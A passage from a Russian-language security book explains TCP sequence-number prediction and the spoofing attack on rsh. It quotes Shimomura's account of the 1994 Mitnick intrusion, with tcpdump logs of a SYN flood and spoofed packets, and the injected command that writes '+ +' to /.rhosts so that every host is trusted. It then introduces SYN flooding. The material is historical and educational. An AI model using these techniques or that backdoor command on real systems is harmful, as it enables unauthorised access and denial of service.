sec – текущее время в секундах.

На малом промежутке времени (меньше одной секунды) для удобства аппроксимации можно утверждать, что

ISN = F (mсsec). (4)

Итак, мы будем считать, что значение ISN зависит только от времени в микросекундах. Данная функция в силу особенностей изменения своих аргументов в сетевых ОС обычно является или кусочнолинейной, или ступенчатой. Например, зависимость (1), описывающая закон получения ISN в ОС Linux, в случае приведения ее к виду (4) является кусочнолинейной, а функциональная зависимость (2), справедливая для Windows NT, – ступенчатой.

На данном этапе мы вплотную подошли к проблеме определения вида функциональной зависимости ISN от времени (mcsec) для конкретной сетевой ОС. Первый способ получения этой зависимости – анализ исходных текстов ядра операционной системы. Использование данного способа на практике обычно оказывается невозможным из-за отсутствия исходных текстов большинства ОС. Исключение составляют ОС Linux и FreeBSD, поставляемые с исходными текстами ядра.

В связи с этим предлагается другой метод получения закона изменения ISN во времени. Сетевая ОС рассматривается исследователем как «черный ящик», к которому применяется метод тестирования «запрос – ответ»: на исследуемую ОС передается серия обычных запросов на созданиеТСР-соединения и принимается соответствующее количество ответов с текущими значениями ISN операционной системы в каждый момент времени. При этом замеряются временные интервалы в микросекундах между запросом и ответом на него и время, прошедшее между запросами. В результате у исследователя будет следующая таблица дискретных отсчетов ISN и соответствующих им моментов времени в mcsec:

где ISNn – значение ISN, полученное за время tn от начала эксперимента (время начала эксперимента принимается за 0).

Аппроксимируя данную таблицу дискретных значений непрерывной функции одним из известных математических методов (например, методом наименьших квадратов), получим непрерывную функцию, приближенно описывающую изменение ISN на данном временном промежутке (от 0 до tn), при этом чем выше точность исходных данных, тем точнее приближение:

ISN(t) ? F(t). (5)

С помощью этой формулы мы можем, зная функцию изменения ISN от времени, экстраполировать следующее значение ISN по предыдущему. Теперь атакующий, получив в ответ на TCP-запрос текущее значение ISN для ОС в данный момент времени, способен математически предсказать следующее возможное значение ISN через некоторый промежуток времени.

Хотелось бы обратить внимание на следующий важный момент: чем ближе в сети находятся исследователь и тестируемая ОС, тем выше точность получения аппроксимирующей функции. В противном случае время, за которое запрос дойдет до системы и будет выработан ISN, может существенно отличаться от времени передачи ответа из-за задержек в канале связи; при этом погрешность исходных данных будет увеличиваться, а точность экстраполяции падать.

Заметим, что атакующему вовсе не обязательно проводить подобные исследования с интересующим его удаленным хостом. Достаточно узнать тип операционной системы на объекте атаки и получить в свое распоряжение подобную систему для определения формулы изменения ISN.

Применение описанной выше методики получения формулы ISN(t) на примере ОС Linux 1.2.8 и Windows NT 4.0 в случае нахождения в одном сегменте с данными ОС позволило определить это 32-битное значение (от 0 до 232 -1) по его предыдущему значению для ОС Windows NT с точностью до 10, а для ОС Linux 1.2.8 – с точностью примерно до 100. В табл. 4.1 приведены снятые в процессе эксперимента с ОС Linux 1.2.8 значения изменения ISN за соответствующие промежутки времени (а не абсолютные значения).

Таблица 4.1. Изменение значения ISN для ОС Linux 1.2.8

График на рис. 4.14, построенный на основе данных из этой таблицы и справедливый для ОС Linux 1.2.8, наглядно показывает линейный характер изменения значения начального идентификатора TCP-соединения ISN на данном временном промежутке (на самом деле зависимость изменения ISN для ОС Linux 1.2.8 носит кусочнолинейный характер).

Рис. 4.14. Зависимость изменения ISN от времени для Linux 1.2.8

Как правило, определив вид функций для вычисления ISN в операционных системах на сервере и предполагаемом клиенте, атакующий начинает следить за ОС сервера, ожидая подключения предполагаемого клиента. В тот момент, когда подключение произошло, кракер может подсчитать возможный диапазон значений ISN, которыми обменялись при создании TCP-канала данные хосты. Так как атакующий может вычислить значения ISN только приближенно, то ему не избежать подбора. Однако без помощи описанного выше метода для перебора всех возможных значений ISSa и ISSb понадобилось бы послать 264 пакета, что нереально. В противном случае, например, если удалось вычислить значения ISN на операционных системах с точностью до 100, для подмены одного из абонентов TCP-соединения взломщику достаточно послать всего 10 000 пакетов. Вообще говоря, осуществить атаку, связанную с подменой TCP-абонентов, путем предсказания ISSa и ISSb без перехвата трафика практически невозможно (за исключением случая, когда оба абонента используют ОС Windows NT). Поэтому более реальным выглядит воздействие, связанное с подменой только одного из абонентов TCP-соединения и предсказанием одного значения ISSa. Рассмотрим ставшую уже классической подобную удаленную атаку на r-службу. Осуществление такого взлома связано с описанными выше особенностями идентификации TCP-пакетов.

Недостатки идентификации абонентов TCP-соединения

В ОС UNIX существует понятие доверенный хост. Доверенным по отношению к какому-либо хосту называется сетевой компьютер, доступ на который пользователю с данного хоста разрешен без его аутентификации и идентификации с помощью r-службы (r – сокращение от англ. «remote» – удаленный). Обычно в ОС UNIX существует файл rhosts, в котором находится список имен и IP-адресов доверенных хостов. Для получения удаленного доступа к ним пользователю необходимо применить программы, входящие в r-службу (например, rlogin, rsh и т. д.). При использовании r-программ с доверенного хоста для получения удаленного доступа не требуется проходить стандартную процедуру идентификации и аутентификации, заключающуюся в проверке логического имени и пароля пользователя. Единственной аутентифицирующей пользователя информацией для r-службы является IP-адрес хоста, с которого осуществляется удаленный r-доступ (см. в главе 8 раздел «Программно-аппаратные методы защиты от удаленных атак в сети Internet»). Отметим, что все программы из r-службы реализованы на базе протокола TCP. Одной из программ, входящих в r-службу, является rsh (remote shell), с помощью которой возможно осуществление данной атаки: эта программа позволяет отдавать команды shell удаленному хосту, причем, чтобы отдать команду, достаточно послать запрос, а ответ на него получать необязательно. При атаке на r-службу вся сложность для кракера заключается в том, что ему необходимо послать пакет от имени доверенного хоста, то есть в качестве адреса отправителя нужно указать IP-адрес такого хоста. Следовательно, ответный пакет будет отправлен именно на доверенный хост, а не на хост атакующего.

Схема удаленной атаки на rsh-сервер (рис. 4.15) была впервые описана небезызвестным Р. Т. Моррисом-старшим [13].

Рис. 4.15. Подмена одного из участников TCP-соединения при атаке на rsh-сервер

Пусть хост А доверяет хосту В. Хост X-Hacker – это станция атакующего.

Вначале атакующий X-Hacker открывает настоящее TCP-соединение с хостом В на любой TCP-порт (mail, echo и т. д.). В результате X-Hacker получает текущее на данный момент времени значение ISNb. Затем X-Hacker от имени хоста А посылает на хост В TCP-запрос на открытие соединения: SYN, ISSx.

Получив этот запрос, В анализирует IP-адрес отправителя и решает, что пакет пришел с хоста А. Следовательно, в ответ хост В посылает на А новое значение ISNb\': SYN, ACK, ISNb\', ACK(ISSx+1).

X-Hacker никогда не получит это сообщение от В, но, используя предыдущее значение ISNb и схему для получения ISNb\', при помощи математического предсказания может послать пакет на В: ACK, ISSx+1, ACK(ISNb\'+1).

Для того чтобы послать этот пакет, вероятно, потребуется перебрать некоторое количество возможных значений ACK(ISSb\'+1). Подбирать ISSx+1 не нужно, так как этот параметр TCP-соединения был послан с хоста X-Hacker на объект В в первом пакете.

В случае осуществления данной атаки перед взломщиком возникает следующая проблема. Так как X-Hacker посылает первый пакет на В от имени A, то хост B ответит на A пакетом 2. Но поскольку хост A не посылал на хост B никакого запроса, то, получив такой ответ, перешлет на B пакет с битом RST – закрыть соединение. Кракера это, естественно, не устраивает, поэтому ему придется на некоторое время вывести из строя хост A (см. раздел «Нарушение работоспособности хоста в сети Internet при использовании направленного шторма ложных TCP-запросов на создание соединения либо при переполнении очереди запросов»).

В итоге rsh-сервер на хосте В считает, что к нему подключился пользователь с доверенного объекта А, тогда как на самом деле это атакующий с хоста X-Hacker. И хотя взломщик никогда не получит пакеты с хоста В, он сможет выполнять на нем r-команды.

В заключение авторам хотелось бы привести пример реального инцидента, произошедшего в компьютерном центре Сан-Диего 12 декабря 1994 года, когда взломщик (небезызвестный Кевин Митник) использовал такую схему удаленной атаки. Этот инцидент представляет, как нам кажется, исторический интерес и показывает, что опасности, описанные в нашей книге, являются отнюдь не мнимыми угрозами из Internet, а той реальностью, над которой большинство пользователей просто не задумывается, но которая в любой момент может пожаловать к ним в гости.

Все приведенные ниже сведения взяты из письма эксперта по информационной безопасности Цутому Шимомуры (Tsutomu Shimomura) в различные эхо-конференции.

Далее приводится перевод его оригинального письма с некоторыми сокращениями и нашими комментариями:

« From: tsutomu@ariel.sdsc.edu (Tsutomu Shimomura)

Newsgroups: comp.security.misc,comp.protocols.tcp-ip,alt.security

Subject: Technical details of the attack described by Markoff in NYT

Date: 25 Jan 1995 04:36:37 -0800

Organization: San Diego Supercomputer Center

Message-ID: <3g5gkl$5j1@ariel.sdsc.edu>

NNTP-Posting-Host: ariel.sdsc.edu

Keywords: IP spoofing, security, session hijacking

Привет с озера Тахо. В статье Джона Маркоффа от 23.01.95 в газете «Нью-Йорк Таймс» и в рекомендациях CERT CA-95:01, кажется, было довольно много путаницы насчет того, что такое на самом деле атака с использованием подмены IP-адреса с целью подмены одного из абонентов соединения.

...

Имеется в виду статья в New York Times под названием «Data Network Is Found Open To New Threat». Следующая статья была опубликована 28 января 1995 года под названием «Taking a Computer Crime to Heart». Заключительная статья «A Most-Wanted Cyberthief Is Caught In His Own Web» появилась 16 февраля того же года. Time Magazine напечатал две статьи под следующими громкими заголовками: «KEVIN MITNICK\'S DIGITAL OBSESSION» и «CRACKS IN THE NET: America\'s most wanted hacker has been arrested, but the Internet is more vulnerable than ever». Шумиха, поднятая американской прессой по этому поводу, была столь велика, что нам остается только вспомнить крылатую фразу Шекспира: «Много шума из ничего». Хотя это можно объяснить тем, что, во-первых, в США благодаря стараниям прессы сложился образ злобного суперхакера, этакого «монстра» киберпространства – Кевина Митника; во-вторых, это был один из редких случаев обнародования информации о реальной удаленной атаке; в-третьих, ее осуществление удалось проследить и запротоколировать, что обычно очень непросто; и, в-четвертых, с нашей точки зрения, это, пожалуй, единственная известная, и при этом довольно красивая, удаленная атака на TCP-соединение (истории о «тупых» атаках с перехватом пароля или попытками его подбора читателю уже, видимо, надоели).

Здесь приведены некоторые технические подробности из моей презентации 11.01.95 в CMAD 3 в Сономе, Калифорния. Надеюсь, это поможет снять всяческое непонимание природы этих атак.

Для атаки использовалось два различных механизма. Подмена IP-адреса отправителя и математическое предсказание начального значения идентификатора TCP-соединения позволили получить доступ к бездисковой рабочей станции, которая использовалась как X-терминал.

В письмо включен log-файл, полученный с помощью программы tcpdump, с записью всех пакетов, посланных атакующим. Для краткости этот файл приводится с сокращением некоторых несущественных подробностей.

Моя конфигурация:

server = SPARC с ОС Solaris 1, обслуживающий х-terminal;

х-terminal = бездисковая рабочая станция SPARC с ОС Solaris 1;

target = основная цель атаки.

Атака началась 25 декабря 1994 года в 14:09:32. Первые попытки зондирования осуществлялись с хоста toad.com (информация взята из log-файла).

14:09:32 toad.com# finger -l @target

14:10:21 toad.com# finger -l @server

14:10:50 toad.com# finger -l root@server

14:11:07 toad.com# finger -l @x-terminal

14:11:38 toad.com# showmount -e x-terminal

14:11:49 toad.com# rpcinfo -p x-terminal

14:12:05 toad.com# finger -l root@x-terminal

Зондирование системы позволило определить, есть ли у нее другие доверенные системы для дальнейшей атаки. То, что атакующий смог запустить программы showmount и rpcinfo, означало, что он является пользователем root на хосте toad.com.

Через шесть минут мы видим шторм TCP-запросов на создание соединения с адреса 130.92.6.97 на 513-й порт (login) хоста server. При этом основная цель атакующего – этими однонаправленными TCP-запросами переполнить очередь на 513-ом порту сервера так, чтобы он не смог отвечать на новые запросы на создание соединения. Особенно важно, чтобы сервер не смог сгенерировать TCP-пакет с битом RST в ответ на неожиданно пришедший TCP-пакет с битами SYN и ACK.

Так как порт 513 является привилегированным портом, то теперь IP-адрес хоста server.login может быть свободно использован атакующим для атаки с использованием подмены адреса на r-службы UNIX-систем (rsh, rlogin).

...

Шимомура здесь и далее после имени или IP-адреса хоста через точку указывает порт назначения. Поэтому запись server.login означает хост server и порт login (513). Соответственно, например, первая из распечатки log-файла запись 130.92.6.97.600 означает, что пакет передается с IP-адреса 130.92.6.97 с 600-го порта.

IP-адрес 130.92.6.97 атакующий выбрал случайным образом из неиспользуемых адресов (ему не нужно получать пакеты, передаваемые на этот адрес).

14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096

14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096

14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096

14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096

14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096

14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096

14:18:23.002715 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) win 4096

14:18:23.103275 130.92.6.97.607 > server.login: S 1382726967:1382726967(0) win 4096

14:18:23.162781 130.92.6.97.608 > server.login: S 1382726968:1382726968(0) win 4096

14:18:23.225384 130.92.6.97.609 > server.login: S 1382726969:1382726969(0) win 4096

14:18:23.282625 130.92.6.97.610 > server.login: S 1382726970:1382726970(0) win 4096

14:18:23.342657 130.92.6.97.611 > server.login: S 1382726971:1382726971(0) win 4096

14:18:23.403083 130.92.6.97.612 > server.login: S 1382726972:1382726972(0) win 4096

14:18:23.903700 130.92.6.97.613 > server.login: S 1382726973:1382726973(0) win 4096

14:18:24.003252 130.92.6.97.614 > server.login: S 1382726974:1382726974(0) win 4096

14:18:24.084827 130.92.6.97.615 > server.login: S 1382726975:1382726975(0) win 4096

14:18:24.142774 130.92.6.97.616 > server.login: S 1382726976:1382726976(0) win 4096

14:18:24.203195 130.92.6.97.617 > server.login: S 1382726977:1382726977(0) win 4096

14:18:24.294773 130.92.6.97.618 > server.login: S 1382726978:1382726978(0) win 4096

14:18:24.382841 130.92.6.97.619 > server.login: S 1382726979:1382726979(0) win 4096

14:18:24.443309 130.92.6.97.620 > server.login: S 1382726980:1382726980(0) win 4096

14:18:24.643249 130.92.6.97.621 > server.login: S 1382726981:1382726981(0) win 4096

14:18:24.906546 130.92.6.97.622 > server.login: S 1382726982:1382726982(0) win 4096

14:18:24.963768 130.92.6.97.623 > server.login: S 1382726983:1382726983(0) win 4096

14:18:25.022853 130.92.6.97.624 > server.login: S 1382726984:1382726984(0) win 4096

14:18:25.153536 130.92.6.97.625 > server.login: S 1382726985:1382726985(0) win 4096

14:18:25.400869 130.92.6.97.626 > server.login: S 1382726986:1382726986(0) win 4096

14:18:25.483127 130.92.6.97.627 > server.login: S 1382726987:1382726987(0) win 4096

14:18:25.599582 130.92.6.97.628 > server.login: S 1382726988:1382726988(0) win 4096

14:18:25.653131 130.92.6.97.629 > server.login: S 1382726989:1382726989(0) win 4096

Хост server на первые восемь запросов генерирует соответственно восемь ответов, после чего очередь переполняется. Хост server периодически будет посылать эти ответы, но так и не дождется на них никакой реакции.

...

Кстати, наши эксперименты, описанные в разделе «Направленный шторм ложных TCP-запросов на создание соединения», это подтвердили.

Далее мы видим 20 попыток создания соединения с хоста apollo.it.luc.edu на x-terminal.shell. Основная цель этих запросов – определить закон изменения начального значения идентификатора TCP-соединения на хосте x-terminal. Так как значение ISN увеличивается на единицу с каждым вновь посылаемым запросом, следовательно, эти запросы генерирует не ядро сетевой ОС. При этом очередь запросов на хосте x-terminal не переполняется, так как атакующий после каждого запроса передает пакет с битом RST, что означает «закрыть соединение».

14:18:25.906002 apollo.it.luc.edu.1000 > x-terminal.shell: S 1382726990:1382726990(0) win 4096

14:18:26.094731 x-terminal.shell > apollo.it.luc.edu.1000: S 2021824000:2021824000(0) ack 1382726991 win 4096

14:18:26.172394 apollo.it.luc.edu.1000 > x-terminal.shell: R 1382726991:1382726991(0) win 0

14:18:26.507560 apollo.it.luc.edu.999 > x-terminal.shell: S 1382726991:1382726991(0) win 4096

14:18:26.694691 x-terminal.shell > apollo.it.luc.edu.999: S 2021952000:2021952000(0) ack 1382726992 win 4096

14:18:26.775037 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0

14:18:26.775395 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0

14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S 1382726992:1382726992(0) win 4096

14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S 2022080000:2022080000(0) ack 1382726993 win 4096

14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R 1382726993:1382726993(0) win 0

14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S 1382726993:1382726993(0) win 4096

14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S 2022208000:2022208000(0) ack 1382726994 win 4096

14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R 1382726994:1382726994(0) win 0

14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S 1382726994:1382726994(0) win 4096

14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S 2022336000:2022336000(0) ack 1382726995 win 4096

14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R 1382726995:1382726995(0) win 0

14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S 1382726995:1382726995(0) win 4096

14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S 2022464000:2022464000(0) ack 1382726996 win 4096

14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R 1382726996:1382726996(0) win 0

14:18:29.074990 apollo.it.luc.edu.994 > x-terminal.shell: S 1382726996:1382726996(0) win 4096

14:18:29.274572 x-terminal.shell > apollo.it.luc.edu.994: S 2022592000:2022592000(0) ack 1382726997 win 4096

14:18:29.354139 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0

14:18:29.354616 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0

14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell: S 1382726997:1382726997(0) win 4096

14:18:29.755054 x-terminal.shell > apollo.it.luc.edu.993: S 2022720000:2022720000(0) ack 1382726998 win 4096

14:18:29.840372 apollo.it.luc.edu.993 > x-terminal.shell: R 1382726998:1382726998(0) win 0

14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell: S 1382726998:1382726998(0) win 4096

14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992: S 2022848000:2022848000(0) ack 1382726999 win 4096

14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell: R 1382726999:1382726999(0) win 0

14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell: S 1382726999:1382726999(0) win 4096

14:18:30.775232 x-terminal.shell > apollo.it.luc.edu.991: S 2022976000:2022976000(0) ack 1382727000 win 4096

14:18:30.852084 apollo.it.luc.edu.991 > x-terminal.shell: R 1382727000:1382727000(0) win 0

14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell: S 1382727000:1382727000(0) win 4096

14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990: S 2023104000:2023104000(0) ack 1382727001 win 4096

14:18:31.361684 apollo.it.luc.edu.990 > x-terminal.shell: R 1382727001:1382727001(0) win 0

14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell: S 1382727001:1382727001(0) win 4096

14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989: S 2023232000:2023232000(0) ack 1382727002 win 4096

14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell: R 1382727002:1382727002(0) win 0

14:18:32.164597 apollo.it.luc.edu.988 > x-terminal.shell: S 1382727002:1382727002(0) win 4096

14:18:32.335373 x-terminal.shell > apollo.it.luc.edu.988: S 2023360000:2023360000(0) ack 1382727003 win 4096

14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell: R 1382727003:1382727003(0) win 0

14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell: S 1382727003:1382727003(0) win 4096

14:18:32.845373 x-terminal.shell > apollo.it.luc.edu.987: S 2023488000:2023488000(0) ack 1382727004 win 4096

14:18:32.922158 apollo.it.luc.edu.987 > x-terminal.shell: R 1382727004:1382727004(0) win 0

14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell: S 1382727004:1382727004(0) win 4096

14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986: S 2023616000:2023616000(0) ack 1382727005 win 4096

14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell: R 1382727005:1382727005(0) win 0

14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell: S 1382727005:1382727005(0) win 4096

14:18:33.985966 x-terminal.shell > apollo.it.luc.edu.985: S 2023744000:2023744000(0) ack 1382727006 win 4096

14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell: R 1382727006:1382727006(0) win 0

14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell: S 1382727006:1382727006(0) win 4096

14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984: S 2023872000:2023872000(0) ack 1382727007 win 4096

14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell: R 1382727007:1382727007(0) win 0

14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell: S 1382727007:1382727007(0) win 4096

14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983: S 2024000000:2024000000(0) ack 1382727008 win 4096

14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell: R 1382727008:1382727008(0) win 0

14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell: S 1382727008:1382727008(0) win 4096

14:18:35.395723 x-terminal.shell > apollo.it.luc.edu.982: S 2024128000:2024128000(0) ack 1382727009 win 4096

14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell: R 1382727009:1382727009(0) win 0

14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell: S 1382727009:1382727009(0) win 4096

14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981: S 2024256000:2024256000(0) ack 1382727010 win 4096

14:18:35.983078 apollo.it.luc.edu.981 > x-terminal.shell: R 1382727010:1382727010(0) win 0

Видно, что каждый последующий ответный пакет SYN-ACK, посылаемый с хоста x-terminal, имеет начальное значение идентификатора TCP-соединения на 128 000 больше, чем у предыдущего.

...

Анализ приведенной распечатки пакетов показывает, что каждое последующее начальное значение ISN на хосте x-terminal.shell отличается от предыдущего на 128 000. Например: 2 024 256 000 – 2 024 128 000 = 128 000 или 2 024 128 000 – 2 024 000 000 = 128 000. Не правда ли, простейший закон генерации ISN?

Далее мы видим поддельный запрос на создание TCP-соединения якобы с хоста server.login на x-terminal.shell. При этом x-terminal доверяет хосту server и, следовательно, x-terminal будет выполнять все запросы, переданные с этого хоста (или с любого другого, подменившего хост server).

X-terminal затем отвечает на хост server пакетом SYN-ACK и ожидает подтверждения этого пакета ACK, что должно означать открытие соединения. Так как хост server игнорирует все пакеты, посланные на server.login, то поддельный пакет атакующего, подтвержденный ACK, должен иметь успех.

Обычно значение подтверждения (ACK) берется из пакета SYN-ACK. Однако атакующий, используя предсказание закона изменения начального значения идентификатора TCP-соединения на хосте x-terminal, сможет получить значение ACK без получения пакета SYN-ACK:

14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096 14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096

...

Используя полученную математическую зависимость для предсказания значения ISN, атакующий может послать следующий пакет от имени server.login со значением ACK, равным 2 024 384 001, вычисленным по его предыдущему значению 2 024 256 000 добавлением к нему 128 000 + 1.

Хост атакующего сейчас имеет одностороннее соединение с x-terminal.shell, который считает, что это соединение открыто с server.login. Атакующий теперь может передавать пакеты с данными, содержащими верные значения ACK, на x-terminal. Далее он посылает следующие пакеты:

14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096

14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096

14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096

что означает выполнение команды server# rsh x-terminal “echo + + >>/.rhosts”.

...

Завершая атаку, взломщик от имени server.login посылает на x-terminal.shell три пакета, что эквивалентно выполнению на хосте server следующей r-команды: rsh x-terminal “echo + + >>/.rhosts”. Эта команда дописывает в файл/.rhosts строчку + + и делает доверенными все станции.

Всего атака заняла менее 16 секунд.

Атакующий закрывает ложное соединение:

14:18:41.347003 server.login > x-terminal.shell: . ack 2 win 4096

14:18:42.255978 server.login > x-terminal.shell: . ack 3 win 4096

14:18:43.165874 server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096

14:18:52.179922 server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096

14:18:52.236452 server.login > x-terminal.shell: R 1382727044:1382727044(0) win 4096

Затем атакующий посылает RST-пакеты и, следовательно, закрывает ранее открытые односторонние соединения с server.login, тем самым освобождая очередь запросов.

14:18:52.298431 130.92.6.97.600 > server.login: R 1382726960:1382726960(0) win 4096

14:18:52.363877 130.92.6.97.601 > server.login: R 1382726961:1382726961(0) win 4096

14:18:52.416916 130.92.6.97.602 > server.login: R 1382726962:1382726962(0) win 4096

14:18:52.476873 130.92.6.97.603 > server.login: R 1382726963:1382726963(0) win 4096

14:18:52.536573 130.92.6.97.604 > server.login: R 1382726964:1382726964(0) win 4096

14:18:52.600899 130.92.6.97.605 > server.login: R 1382726965:1382726965(0) win 4096

14:18:52.660231 130.92.6.97.606 > server.login: R 1382726966:1382726966(0) win 4096

14:18:52.717495 130.92.6.97.607 > server.login: R 1382726967:1382726967(0) win 4096

14:18:52.776502 130.92.6.97.608 > server.login: R 1382726968:1382726968(0) win 4096

14:18:52.836536 130.92.6.97.609 > server.login: R 1382726969:1382726969(0) win 4096

14:18:52.937317 130.92.6.97.610 > server.login: R 1382726970:1382726970(0) win 4096

14:18:52.996777 130.92.6.97.611 > server.login: R 1382726971:1382726971(0) win 4096

14:18:53.056758 130.92.6.97.612 > server.login: R 1382726972:1382726972(0) win 4096

14:18:53.116850 130.92.6.97.613 > server.login: R 1382726973:1382726973(0) win 4096

14:18:53.177515 130.92.6.97.614 > server.login: R 1382726974:1382726974(0) win 4096

14:18:53.238496 130.92.6.97.615 > server.login: R 1382726975:1382726975(0) win 4096

14:18:53.297163 130.92.6.97.616 > server.login: R 1382726976:1382726976(0) win 4096

14:18:53.365988 130.92.6.97.617 > server.login: R 1382726977:1382726977(0) win 4096

14:18:53.437287 130.92.6.97.618 > server.login: R 1382726978:1382726978(0) win 4096

14:18:53.496789 130.92.6.97.619 > server.login: R 1382726979:1382726979(0) win 4096

14:18:53.556753 130.92.6.97.620 > server.login: R 1382726980:1382726980(0) win 4096

14:18:53.616954 130.92.6.97.621 > server.login: R 1382726981:1382726981(0) win 4096

14:18:53.676828 130.92.6.97.622 > server.login: R 1382726982:1382726982(0) win 4096

14:18:53.736734 130.92.6.97.623 > server.login: R 1382726983:1382726983(0) win 4096

14:18:53.796732 130.92.6.97.624 > server.login: R 1382726984:1382726984(0) win 4096

14:18:53.867543 130.92.6.97.625 > server.login: R 1382726985:1382726985(0) win 4096

14:18:53.917466 130.92.6.97.626 > server.login: R 1382726986:1382726986(0) win 4096

14:18:53.976769 130.92.6.97.627 > server.login: R 1382726987:1382726987(0) win 4096

14:18:54.039039 130.92.6.97.628 > server.login: R 1382726988:1382726988(0) win 4096

14:18:54.097093 130.92.6.97.629 > server.login: R 1382726989:1382726989(0) win 4096

Хост server.login снова готов к приему запросов на создание соединения».

Мы намеренно не стали вдаваться в подробное литературное описание этого инцидента (беллетристики о Митнике более чем достаточно), а остановились только на технических подробностях данной удаленной атаки. В заключение приведем слова Шимомуры, сказанные им в интервью после поимки Митника: «Из того, что я видел, мне он не кажется таким уж большим специалистом». И добавил: «Проблема не в Кевине, проблема в том, что большинство систем действительно плохо защищены. То, что делал Митник, остается осуществимым и сейчас».

...

Кстати, о том, был ли на самом деле Кевин Митник кракером высшего класса, спорят до сих пор. Начинал он, очевидно, как фрикер (phreaker) высшего класса. Однако его кракерскую деятельность трудно назвать профессиональной, так как он не отличился ничем, кроме профессионального лазанья по помойкам в поисках клочка бумаги с паролями пользователей и заговаривания зубов сетевым администраторам в попытках выудить у них те же пароли (этот вид «атак» теперь получил собственное название – социальная инженерия). Попав в тюрьму, Кевин, видимо, наконец поднабрался необходимого опыта в искусстве сетевого взлома и уже вполне подходил под тот образ суперхакера, который создала американская пресса. Но осуществленная Митником удаленная атака в связи с простейшим законом генерации ISN в ОС Solaris 1 является тривиальной, и, по сути, Шимомура сам на нее напросился. Наверное, если бы Шимомура действительно был таким крупным специалистом по информационной безопасности, каким его рисует пресса, он должен был знать о возможности подобного воздействия. Интересно, почему тогда он ничего не предпринимал? Может быть, ему нужен был этот взлом? До этого случая Шимомуру никто не знал, зато теперь он один из самых известных экспертов по безопасности. К сожалению, ответа на эти вопросы мы, видимо, не получим.

Направленный шторм ложных TCP-запросов на создание соединения

Рассмотрим нарушение работоспособности хоста в сети Internet при использовании направленного шторма ложных TCP-запросов на создание соединения либо при переполнении очереди запросов.

Из рассмотренной в предыдущем пункте схемы создания TCP-соединения следует, что на каждый полученный TCP-запрос (TCP SYN) операционная система должна сгенерировать начальное значение идентификатора ISN и отослать его на запросивший хост. Но так как в Internet (стандарта IPv4) не предусмотрен контроль за IP-адресом отправителя сообщения, то проследить истинный маршрут, пройденный IP-пакетом, невозможно и, следовательно, у конечных абонентов Сети нет способа ограничить число запросов, принимаемых в единицу времени от одного хоста. Поэтому возможно осуществление типовой удаленной атаки «отказ в обслуживании», которая будет заключаться в передаче на объект атаки как можно большего числа ложных TCP-запросов на создание соединения от имени любого хоста в Сети (направленный шторм запросов TCP SYN, схема которого приведена на рис. 4.16). При этом атакуемая сетевая ОС в зависимости от вычислительной мощности компьютера либо перестает реагировать на легальные запросы на подключение (отказ в обслуживании), либо, в худшем случае, практически зависает. Это происходит потому, что система должна, во-первых, сохранить в памяти полученную в ложных сообщениях информацию и, во-вторых, выработать и отослать ответ на каждый запрос. Таким образом, «съедаются» все ресурсы системы: переполняется очередь запросов, и ОС вынуждена заниматься только их обработкой. Эффективность данного воздействия тем выше, чем больше пропускная способность канала между атакующим и его целью, и тем ниже, чем больше вычислительная мощность атакуемого компьютера (число и быстродействие процессоров, объем ОЗУ и т. п.).

